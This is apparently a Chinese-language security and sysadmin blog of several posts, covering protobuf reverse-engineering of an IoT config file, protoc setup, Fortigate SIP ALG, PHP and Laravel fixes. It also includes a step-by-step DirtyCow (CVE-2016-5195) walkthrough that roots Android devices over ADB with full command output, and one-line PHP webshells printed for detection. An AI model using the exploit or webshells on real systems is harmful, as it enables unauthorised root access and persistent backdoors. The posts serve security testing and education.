Protobuf 分析與重建案例分享

前言

這陣子在做 IoT 設備資安檢測的時候發現受測設備的設定檔是 Protobuf 的序列化格式,剛好先前在 使用 protobuf inspector 分析未知結構緩衝資料 一文中介紹了如何對未知結構的 Protobuf 進行分析,今天我們就來把分析結果轉成可用的程式吧!

文中的設定檔非當事設定檔,是依照概念與所發現的真實問題重新設計的檔案。

你可以在 Github – protobuf-analysis-sample 下載到本文用到的檔案。

0x00 使用 Protobuf inspector 分析資料格式

先照著 使用 protobuf inspector 分析未知結構緩衝資料 的說明對資料進行初步分析,可以發現結構意外單純。

透過上圖結果,我們可以觀察到以下資訊

  • 1: 設定檔案的編號
  • 2: 韌體版本
  • 3: 硬體序號
  • 4: 網路設定
  • 5: 使用者帳號

項目 4,5 後方寫著 <chunk> = message: ,代表這兩個項目是指向另一個 message 封裝(可以把它當作另外一個物件看待)

0x01 安裝 Protobuf 編譯環境

這邊不再贅述,請參閱 在 macOS上安裝 Protobuf 編譯環境

0x02 重建 protobuf 結構描述檔

0x02.1 打地基

根據 步驟 0x00 的分析結果,我們大致上知道這個設定檔存在三個 Message,一個是根結構,兩個參考結構(網路設定/使用者帳號)

因此一開始我們可以先把基本架構蓋出來

File: config.proto

syntax = "proto2";

message NetworkSetting {
}

message Account {
}

message Config {
}

0x02.2 放入變數

message NetworkSetting {
    required string ip = 1;
    required string mask = 2;
    required string gateway = 3;
    required string dns1 = 4;
    optional string dns2 = 5;     # 在 0x00 的分析中並沒有這個項目,因為他是可選的,只有在設備設定了 DNS 2 後才會出現
}

message Account {
    required string username = 1;
    required string password = 2;
    required int32 level = 3;
}

message Config {      #這是我們的根結構
    required string config_version = 1;
    required string firmware_version = 2;
    required string device_identification = 3;
    required NetworkSetting network_setting = 4;
    repeated Account accounts = 5;      # 從 0x00 的分析中觀察到 項目 5 有複數個,因此設定為 repeated(陣列)
}

0x03 編譯 .proto 結構描述檔

完成描述檔後,便可以使用 protoc 將 .proto 轉換為我們想要使用的語言

編譯方法如下:

keniver@MacBook-Pro ~ $ protoc -I=`pwd` --python_out=`pwd` `pwd`/config.proto
#  --python_out 是因為我要編給 Python 使用,你也可以編譯給其他程式語言使用

編譯後會生成 檔案名稱_pb2.py 的檔案,這是供我們引入 Python 使用的物件

0x04 讀取 Protobuf 檔案

成功編譯 .proto 後,我們只需要在 Python 中引入編譯後的物件,就可以開始讀取 protobuf 的緩衝檔案

File: config_reader.py

import config_pb2   # 步驟 0x03 編譯後產生的物件

config = config_pb2.Config() #   在定義結構的階段,我們將 Config 定為根結構,故此處呼叫 Config 物件

with open("exported1.config") as f: 
    config.ParseFromString(f.read())  # 將讀進來的檔案轉換為物件

接著我們就可以依照我們的需求對檔案進行讀取

File: config_reader.py

print( config.accounts[0].username, config.accounts[0].password )
# 輸出為: admin admin
print( config.accounts[1].username, config.accounts[1].password )
# 輸出為: user user

請不要使用明文儲存使用者密碼,請用 Hash

在 macOS上安裝 Protobuf 編譯環境

0x00 安裝 Brew

Protobuf 可以從原始碼編譯後安裝,在 macOS 上我們可以透過 brew 快速安裝,這會遠比從原始碼編譯來得輕鬆,雖然不會是真的最新版本,但大多數情況下已經足夠。

Brew 的安裝非常簡單,只要執行下列指令即可

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"

注意: 不要使用 sudo 或者 root 執行上述指令

0x01 安裝 protobuf compiler – protoc

在安裝完 Brew 後,我們就可以使用 brew install 來安裝 protobuf 編譯器

keniver@Macbook-Pro ~ $  brew install protobuf

0x02 確認 protoc 版本

protoc 使用參數 –version 可以查看當前 protoc 的版本

keniver@Macbook-Pro ~ $ protoc --version
libprotoc 3.11.4

0x03 安裝 Python 套件

Protobuf 有支援 Python,使用前要先用 pip install 安裝

keniver@Macbook-Pro ~ $ pip install protobuf

若沒有安裝 Protobuf 的 Python 的套件,執行程式時會產生找不到模組的錯誤

    from google.protobuf import descriptor as _descriptor
ImportError: No module named google.protobuf

使用 protobuf inspector 分析未知結構緩衝資料

前言

Protocol Buffers ( protobuf ) 是由 Google 所推出的一種序列化資料結構的協議,可以想成 XML 或者 JSON,而 protobuf 更為快速簡潔,在需要頻繁傳輸資料的場合(例如: Pokemon Go),可以使用 protobuf 來加快傳輸速率與降低封包尺寸。

由於 protobuf 將結構與資料分開處理,不像 XML 與 JSON 將結構與資料放在一起,因此在沒有結構描述資訊的狀況下是無法讀取資料的,這對於逆向工程來說是一個麻煩。

雖然軟體本身一定有結構描述檔,但這不代表我們一定要對描述檔進行逆向(這很累耶),由於 protobuf 的緩衝資料本身有一些儲存結構,因此可以通過分析儲存結構來找出資料本身的結構,接著再去猜測每一個欄位的用途,當然我們不用親自下去處理這個結構,Github 上有一個專案 protobuf-inspector,只要給它緩衝資料,它就會幫你把結構拆出來,之後只需要重建結構即可操作緩衝資料(然後開始寫外掛)

protobuf inspector 使用範例圖

使用方法

Clone 專案

git clone https://github.com/jmendeth/protobuf-inspector.git
cd protobuf-inspector

進行分析

./main.py < my-protobuf-blob

指令中的 my-protobuf-blob 是我們要分析的 protobuf 緩衝資料

分析結果

my-protobuf-blob 是一個合法的 protobuf 緩衝資料,就可以看到分析結果(如下圖)

protobuf inspector 分析結果說明

分析結果格式如下:

id <型別> = <內容>
  • id – 對應到 protobuf 內所定義的資料索引編號(為了兼容舊格式)
  • 型別 – 對應到 protobuf 內的型別類型 (chuck 可能對應到 string/message)

若型別為 chunk 內容又是 message: 開頭,代表這是一個內嵌資訊,像是 struct in struct

利用 DirtyCow(CVE-2016-5195) 攻擊 Android 裝置


髒牛 DirtyCow(CVE-2016-5195) 是一個威力十足的 Linux 提權弱點,雖然發布時間已有些時日,大多數主機也都修補了這個弱點,但還有一種類型的設備十分容易受到這個弱點的影響,那就是 Android 設備。

在 Android 手機上, DirtyCow 主要作為 root 手機的一種手段,然而 Android 不只用於手機,實際上也用於嵌入式裝置 (IoT/IP Cam 之類的),這些設備使用 Android 加速其開發與部屬能力,同時間也是較少上 Kernel Patch 的設備,只要找到了 ADB(Android Debug Bridge) 或 Command Injection 之類的弱點,整台設備端去當 Bot 不是夢 (x

DirtyCow 的 Payload 可以透過 NDK (Native Development Kit) 編譯,接著遞送到 Android 設備上。

這邊介紹一個 Git Project – CVE-2016-5195 (dirtycow/dirtyc0w) proof of concept for Android,這個專案是一個在 Android 上利用 DirtyCow 的概念驗證,使用步驟如下

1. 準備一個已經安裝 ADB 與 NDK 的 Linux 電腦

2. 下載專案

cd /tmp

git clone https://github.com/timwr/CVE-2016-5195.git

cd /tmp/CVE-2016-5195

3. ADB 連接裝置 (此處使用 10.10.10.10:5555 為例)

adb connect 10.10.10.10:5555
adb devices

若連接成功會顯示下列訊息

List of devices attached
10.10.10.10:5555    device

4. 編譯並利用弱點

make root

執行結果如下

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=arm64-v8a APP_PLATFORM=android-22
make[1]: Entering directory '/keniver/tmp/CVE-2016-5195'
[arm64-v8a] Install        : dirtycow => libs/arm64-v8a/dirtycow
[arm64-v8a] Install        : run-as => libs/arm64-v8a/run-as
make[1]: Leaving directory '/keniver/tmp/CVE-2016-5195'
adb push libs/arm64-v8a/dirtycow /data/local/tmp/dcow
libs/arm64-v8a/dirtycow: 1 file pushed. 0.4 MB/s (14320 bytes in 0.031s)
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/arm64-v8a/run-as /data/local/tmp/run-as
libs/arm64-v8a/run-as: 1 file pushed. 0.6 MB/s (10224 bytes in 0.017s)
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
WARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6ffffffe arg 0xa38
WARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6fffffff arg 0x1
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (10224) and destination file size (9768) differ

corruption?

[*] size 10224
[*] mmap 0x7faac2b000
[*] currently 0x7faac2b000=10102464c457f
[*] using /proc/self/mem method
[*] madvise = 0x7faac2b000 10224
[*] madvise = 0 16777216
[*] /proc/self/mem 447381792 43758
[*] exploited 0 0x7faac2b000=10102464c457f

5. 提權成為 root

透過 adb shell 執行 id ,確認自己目前的帳號與群組

adb shell id

結果如下

uid=2000(shell) gid=2000(shell) groups=1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0

執行下列指令進行提權

adb shell /system/bin/run-as

結果如下

WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6ffffffe arg 0x788
WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6fffffff arg 0x2
uid /system/bin/run-as 2000
uid 0
0 u:r:runas:s0
context 0 u:r:shell:s0
root@msm8952_64:/ # id
id
uid=0(root) gid=0(root) groups=1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0

變成 root 啦~

障礙排除

1. error: no devices/emulators found

adb 沒有連接到任何裝置,可以通過 adb devices 檢查一下有無正常連線

2. make: ndk-build: No such file or directory

電腦尚未安裝 NDK 或者 沒有正確設定 NDK 到 PATH

關閉 Fortigate SIP ALG

在進行網路服務邊界測試的過程中, 時常掃出 5060, 2000 這兩個 Port, 但客戶均表示防火牆沒有開啟這兩個 Port, 也無法透過 Police 去進行阻擋, 經過調查後發現是 Gateway 自帶的 SIP ALG 所造成的.

什麼是 SIP ALG

SIP (Session Initiation Protocol) 是 VoIP 中一個非常重要的協議, 該協議於 1999 年由 IETF 提出, 由於當時並沒有將 NAT 納入設計, 因此在 NAT 環境下 SIP 難以正常運作, 然而現今網路環境中, 不論是電信業/企業還是家庭都十分依賴 NAT 技術, 為了使 SIP 在 NAT 環境下能夠正常運行, ALG (Application Layer Gateway) 就此誕生, ALG 是一個通過分析與修改 SIP 請求的應用服務, 使 SIP 能夠順利通過 NAT 環境與外界聯繫.

SIP ALG 與現代企業網路架構

現代企業為了提高網路安全性, 通常會架設一個 Gateway 來隔離外網與內網, 企業也從傳統總機逐漸轉往 VoIP, 為了順應潮流, 許多 Gateway 廠商內建了 SIP ALG, 甚至還幫你啟動了, 由於 SIP ALG 直接應用於 Gateway 本身, 從防火牆設定上很難看出端倪, 而 SIP ALG 本身又是一個主動服務, 因此進行 nmap 掃描時都會發現它的存在, 不知道的人會以為主機被入侵了呢!

關閉 SIP ALG 以 Fortigate 為例

由於我手邊只有 Fortigate 60E, 因此選擇 Fortigate 作為例子

在 Fortigate 上關閉 SIP ALG 的步驟如下
(請連上 Fortigate 的 Terminal, Web 介面並沒有相關設定可供調整)

1 移除 session helper

config system session-helper
show
###########################
# 這邊會顯示很多 helper
# 找到下方這個 helper (他的 id 可能不是 13)
#   edit 13
#   set name sip
#   set protocol 17
#   set port 5060
###########################

# 在我的主機上 helper 的 id 為 13, 後續指令以 13 為例
delete 13
end

2 調整 ALG 模組

config system settings
set default-voip-alg-mode kernel-helper-based
end

config voip profile
edit default
config sip
set status disable
end
end

3 重新啟動 Fortigate

PHP 7.0 下安裝 phpLDAPadmin 發生錯誤的修正方法

在稍具規模的網路環境中, 網管時常選用 LDAP 來進行帳號的統整管理, 一方面提供管理便利度, 另一方面使用者也不必因為不同系統而記憶不同帳號, phpLDAPadmin 是一套常見的 LDAP 管理介面, 但 phpLDAPadmin 已經很久沒有更新了, 若想要安裝在 PHP 5.6 以上, 甚至是最新版的 PHP 7 的環境中, 是無法順利安裝的, 因此我們需要做些修正.

Session 相關錯誤

打開 index.php 時出現下列錯誤:

  • Undefined variable: _SESSION in …. on line 379
  • Fatal error: Uncaught Error: Call to a member function getValue() on null in … on line 379

導致這個錯誤的主要原因是因為 phpLDAPadmin 需要使用 session, 在 PHP 中若要使用 session, 需要先執行 session_start() 這個函數, 但不知道為什麼 phpLDAPadmin 並沒有這麼做, 因此要解決這個問題, 一種方法是自己找正確的地方加上 session_start(), 另一種方法則是啟動 auto_start 這個特性, 這邊介紹如何啟動 auto_start 這個特性

編輯 php.ini 中的 session.auto_start

session.auto_start = 0

修改為

session.auto_start = 1

password_hash 相關錯誤

修正完 session 的問題後, 畫面上還有一個關於 password_hash 的錯誤

  • Fatal error: Cannot redeclare password_hash() in … on line 2236

造成這個錯誤的原因在於 php 5.5 以後內建了 password_hash 這個函數, 導致內建的 password_hash 與 phpLDAPadmin 自己的 password_hash 發生衝突, 因此只要將 phpLDAPadmin 的 password_hash 名稱替換成別的名稱就可以避開這個問題了

具體的解決辦法如下

對檔案打 patch

wget https://raw.githubusercontent.com/osixia/docker-phpLDAPadmin/stable/image/service/phpldapadmin/assets/php5.5.patch
patch -p1 -d ./phpldapadmin < php5.5.patch

修改 TemplateRender.php

sed -i "s/password_hash/password_hash_custom/g" ./phpldapadmin/lib/TemplateRender.php

Mac 的使用者會遇到 invalid command code W 這個錯誤, 具體原因與解決辦法請參考 MAC 下執行 sed 指令出現錯誤: invalid command code W

記得把指令中的 ./phpldapadmin 替換成 phpldapadmin 的實際位置

MAC 下執行 sed 指令出現錯誤: invalid command code W

sed 是 Linux/Mac 下非常好用的文件內容替換工具, sed -i "s/old/new/g" /path/to/file 可以讓我們輕鬆的將 /path/to/file 中的 old 都替換成 new, 但最近發現 sed 在 mac 與 Linux 上的行為有些許不同, 本來在 Linux 上能夠正常運作的指令在 MAC 上卻無法運作, sed 執行時出現錯誤 invalid command code W

MAC 上的 sed 手冊對於 -i 的描述:

-i extension
    Edit files in-place, saving backups with the specified extension.  If a zero-length extension is given, no backup will be saved.  It is not recommended to give a zero-
    length extension when in-place editing files, as you risk corruption or partial content in situations where disk space is exhausted, etc.

而 Linux 上的 sed 手冊對於 -i 的描述:

-i[SUFFIX], --in-place[=SUFFIX]
    edit files in place (makes backup if SUFFIX supplied)

根據手冊的中的描述, sed 在帶有 -i 參數時, 會針對處理的檔案進行備份, 而 -i 參數接受一個字串作為備份檔案的後綴( ex: test.php => test_ext.php ), 這個後綴在 Linux 下是可選, Mac 下是必要的, 雖然 Mac 下的 sed 可以給空字串來忽略這個選項, 但備份很重要, 備份一下啦!!

在知道差異後, 我們只要將後綴加上去就可以解決這個問題了!

Linux:
sed -i "s/old/new/g" /path/to/file

Mac:
sed -i "" "s/old/new/g" /path/to/file

基於 Echo Shorthand Tags 的 PHP Webshell

駭客在入侵網站後, 通常都會放入網頁後門程式(Webshell), 用以確保控制權不容易因為弱點被修復而消失.

下方是常見的簡短 Webshell (一句話木馬)

<?php system($_GET[0]);

最近發現了另一種簡短的 Webshell, 利用了 PHP shorthand tag, 寫法如下

<?=`ls`;

其效果等價於

<?php echo system('ls');

很多管理員認為預設不開啟 short tags 就可以避開這種後門, 但事實並非如此

在 php.ini 中掌管 short tag 的參數為

short_open_tag = Off

官方對於 short_open_tag 的說明中有提到 <?= 並不包含其中, 因此在做後門探測的時候, 記得也要針對這類型的後門進行檢查

偉哉PHP

Laravel 常見問題: Specified key was too long

Laravel 在 5.4 版之後為了支援 emoji , 因此將資料編碼改為 utf8mb4. 由於 utf8mb4 的儲存空間需求膨脹了4倍, 導致預設長度無法正常寫入資料庫.

這個問題會在 MySQL 5.7.6 以下與 MariaDB 的環境中出現以下錯誤

[PDOException]
SQLSTATE[42000]: Syntax error or access violation: 1071 Specified key was too long; max key length is 767 bytes

在 Migrate 過程中出現這個問題的解決方法有兩種

  1. 更新到 MySQL 5.7.7 以上版本
  2. 調整 Laravel 的預設資料長度

升級 MySQL 的方法就不細說了, 接下來主要說明調整 Laravel 預設值的方法

首先, 編輯專案目錄下的 app/Providers/AppServiceProvider.php

新增一個引用

use Illuminate\Support\Facades\Schema;

接著修改 boot function, 將預設長度定為 191

public function boot()
{
    Schema::defaultStringLength(191);
}

重新執行 php artisan migrate 就不會有問題了

最後附上完整的 AppServiceProvider.php

namespace App\Providers;

use Illuminate\Support\ServiceProvider;
use Illuminate\Support\Facades\Schema;

class AppServiceProvider extends ServiceProvider
{
    /**
     * Bootstrap any application services.
     *
     * @return void
     */
    public function boot()
    {
        Schema::defaultStringLength(191);
    }

    /**
     * Register any application services.
     *
     * @return void
     */
    public function register()
    {
        //
    }
}

Linux 設定修改時區

Linux 上時間分成兩個部分, Universal Time 與 Local Time, Universal Time 一直會維持為 UTC 時間, 而 Local Time 則是使用者所在的時區時間, 通常我們在安裝 Linux 的時候就會完成時區的設定, 但是在 Cloud 上預設都維持在 UTC +0 時區, 當我們機房跨足不同時區時可能會有同步的問題, 因此正確的設定時區是非常重要的.

檢查時區

當主機還沒有設定時區時, 輸入指令 date 系統返回的時間會是 UTC, 若主機已經有設定時區 UTC 會變成其他時區

$ date
Sat Jun 17 15:28:00 UTC 2017

設定時區

我們可以透過以下指令進行時區設定

sudo dpkg-reconfigure tzdata

系統會跳出視窗要求你選擇所在的地理區

接著選擇時區

當設定完成後, 系統會顯示目前的設定

Current default time zone: 'Asia/Taipei'
Local time is now:      Sat Jun 17 23:51:12 CST 2017.
Universal Time is now:  Sat Jun 17 15:51:12 UTC 2017.

指令 date 所顯示的時間變成帶有時區的時間了!

Sat Jun 17 23:51:55 CST 2017

這樣一來就完成時區的設定了, 若要修改時區只要把上面的步驟在做一次就可以了.